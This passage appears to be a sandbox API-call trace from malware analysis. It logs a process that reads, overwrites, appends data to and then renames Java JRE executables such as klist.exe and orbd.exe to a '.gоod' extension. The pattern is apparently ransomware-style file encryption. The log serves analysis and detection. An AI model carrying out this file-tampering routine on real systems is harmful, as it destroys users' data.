lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0077.236] CloseHandle (hObject=0x764) returned 1 [0077.237] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", lpFilePart=0x0) returned 0x30 [0077.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0077.238] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0077.238] GetFileType (hFile=0x764) returned 0x1 [0077.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0077.238] GetFileType (hFile=0x764) returned 0x1 [0077.238] ReadFile (in: hFile=0x764, lpBuffer=0x33f1168, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x33f1168*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0077.272] CloseHandle (hObject=0x764) returned 1 [0077.272] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", lpFilePart=0x0) returned 0x30 [0077.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0077.272] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0077.272] GetFileType (hFile=0x764) returned 0x1 [0077.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0077.272] GetFileType (hFile=0x764) returned 0x1 [0077.272] WriteFile (in: hFile=0x764, lpBuffer=0x33efef0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x33efef0*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0077.272] CloseHandle (hObject=0x764) returned 1 [0077.273] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", lpFilePart=0x0) returned 0x30 [0077.273] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.gоod", lpFilePart=0x0) returned 0x35 [0077.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0077.274] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2a4505d5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4050)) returned 1 [0077.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0077.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.gоod")) returned 1 [0077.274] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", lpFilePart=0x0) returned 0x2f [0077.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0077.274] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), fInfoLevelId=0x0, lpFileInformation=0x346e560 | out: lpFileInformation=0x346e560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0077.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0077.275] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", lpFilePart=0x0) returned 0x2f [0077.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0077.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0077.275] GetFileType (hFile=0x764) returned 0x1 [0077.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0077.275] GetFileType (hFile=0x764) returned 0x1 [0077.275] SetFilePointer (in: hFile=0x764, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0077.275] ReadFile (in: hFile=0x764, lpBuffer=0x346e908, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x346e908*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0077.492] CloseHandle (hObject=0x764) returned 1 [0077.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", lpFilePart=0x0) returned 0x2f [0077.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0077.492] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0077.492] GetFileType (hFile=0x764) returned 0x1 [0077.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0077.492] GetFileType (hFile=0x764) returned 0x1 [0077.492] SetFilePointer (in: hFile=0x764, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x4040 [0077.492] WriteFile (in: hFile=0x764, lpBuffer=0x3398548*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x3398548*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0077.493] CloseHandle (hObject=0x764) returned 1 [0077.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", lpFilePart=0x0) returned 0x2f [0077.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0077.495] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0077.495] GetFileType (hFile=0x764) returned 0x1 [0077.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0077.495] GetFileType (hFile=0x764) returned 0x1 [0077.495] ReadFile (in: hFile=0x764, lpBuffer=0x339a7d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x339a7d0*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0077.522] CloseHandle (hObject=0x764) returned 1 [0077.522] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", lpFilePart=0x0) returned 0x2f [0077.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0077.522] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0077.522] GetFileType (hFile=0x764) returned 0x1 [0077.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0077.523] GetFileType (hFile=0x764) returned 0x1 [0077.523] WriteFile (in: hFile=0x764, lpBuffer=0x3399560*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x3399560*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0077.526] CloseHandle (hObject=0x764) returned 1 [0077.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe", lpFilePart=0x0) returned 0x2f [0077.527] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.gоod", lpFilePart=0x0) returned 0x34 [0077.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0077.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2a6b2ba7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4050)) returned 1 [0077.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0077.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.gоod")) returned 1 [0077.670] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", lpFilePart=0x0) returned 0x2f [0077.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0077.670] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), fInfoLevelId=0x0, lpFileInformation=0x312ca40 | out: lpFileInformation=0x312ca40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0077.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0077.671] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", lpFilePart=0x0) returned 0x2f [0077.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0077.671] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0077.671] GetFileType (hFile=0x76c) returned 0x1 [0077.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0077.671] GetFileType (hFile=0x76c) returned 0x1 [0077.671] SetFilePointer (in: hFile=0x76c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0077.671] ReadFile (in: hFile=0x76c, lpBuffer=0x312cde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x312cde8*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0077.673] CloseHandle (hObject=0x76c) returned 1 [0077.673] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", lpFilePart=0x0) returned 0x2f [0077.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0077.673] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0077.673] GetFileType (hFile=0x76c) returned 0x1 [0077.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0077.673] GetFileType (hFile=0x76c) returned 0x1 [0077.673] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x4040 [0077.673] WriteFile (in: hFile=0x76c, lpBuffer=0x312e048*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x312e048*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0077.674] CloseHandle (hObject=0x76c) returned 1 [0077.676] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", lpFilePart=0x0) returned 0x2f [0077.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0077.676] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0077.676] GetFileType (hFile=0x76c) returned 0x1 [0077.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0077.676] GetFileType (hFile=0x76c) returned 0x1 [0077.676] ReadFile (in: hFile=0x76c, lpBuffer=0x31302d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x31302d0*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0077.706] CloseHandle (hObject=0x76c) returned 1 [0077.706] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", lpFilePart=0x0) returned 0x2f [0077.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0077.706] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0077.707] GetFileType (hFile=0x76c) returned 0x1 [0077.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0077.707] GetFileType (hFile=0x76c) returned 0x1 [0077.707] WriteFile (in: hFile=0x76c, lpBuffer=0x312f060*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49c658, lpOverlapped=0x0 | out: lpBuffer=0x312f060*, lpNumberOfBytesWritten=0x1f49c658*=0x1010, lpOverlapped=0x0) returned 1 [0077.707] CloseHandle (hObject=0x76c) returned 1 [0077.708] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe", lpFilePart=0x0) returned 0x2f [0077.708] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.gоod", lpFilePart=0x0) returned 0x34 [0077.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c590) returned 1 [0077.708] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f49c670 | out: lpFileInformation=0x1f49c670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2a87c7d4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4050)) returned 1 [0077.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c550) returned 1 [0077.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.gоod")) returned 1 [0077.709] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", nBufferLength=0x105, lpBuffer=0x1f49c100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", lpFilePart=0x0) returned 0x32 [0077.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c5d0) returned 1 [0077.709] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), fInfoLevelId=0x0, lpFileInformation=0x31b2900 | out: lpFileInformation=0x31b2900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0077.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c590) returned 1 [0077.709] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", lpFilePart=0x0) returned 0x32 [0077.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0077.709] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0077.709] GetFileType (hFile=0x76c) returned 0x1 [0077.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0077.709] GetFileType (hFile=0x76c) returned 0x1 [0077.709] SetFilePointer (in: hFile=0x76c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x1000 [0077.709] ReadFile (in: hFile=0x76c, lpBuffer=0x31b2cb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5f8, lpOverlapped=0x0 | out: lpBuffer=0x31b2cb8*, lpNumberOfBytesRead=0x1f49c5f8*=0x1000, lpOverlapped=0x0) returned 1 [0077.801] CloseHandle (hObject=0x76c) returned 1 [0078.079] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", lpFilePart=0x0) returned 0x32 [0078.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0078.079] GetFileType (hFile=0x6b4) returned 0x1 [0078.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.079] GetFileType (hFile=0x6b4) returned 0x1 [0078.079] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49c628*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49c628*=0) returned 0x4040 [0078.079] WriteFile (in: hFile=0x6b4, lpBuffer=0x32180e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49c518, lpOverlapped=0x0 | out: lpBuffer=0x32180e0*, lpNumberOfBytesWritten=0x1f49c518*=0x10, lpOverlapped=0x0) returned 1 [0078.080] CloseHandle (hObject=0x6b4) returned 1 [0078.081] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", lpFilePart=0x0) returned 0x32 [0078.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.081] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0078.081] GetFileType (hFile=0x6b4) returned 0x1 [0078.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.081] GetFileType (hFile=0x6b4) returned 0x1 [0078.081] ReadFile (in: hFile=0x6b4, lpBuffer=0x321a370, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49c5a8, lpOverlapped=0x0 | out: lpBuffer=0x321a370*, lpNumberOfBytesRead=0x1f49c5a8*=0x1000, lpOverlapped=0x0) returned 1 [0078.109] CloseHandle (hObject=0x6b4) returned 1 [0078.110] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", nBufferLength=0x105, lpBuffer=0x1f49bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", lpFilePart=0x0) returned 0x32 [0078.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49c4d0) returned 1 [0078.110] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0078.110] GetFileType (hFile=0x6b4) returned 0x1 [0078.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49c440) returned 1 [0078.110] GetFileType (hFile=0x6b4) returned 0x1 [0078.110] WriteFile (in: hFile=0x6b4, lpBuffer=0x32190f8*, nNumberOfBytesToWrite=0x1010, 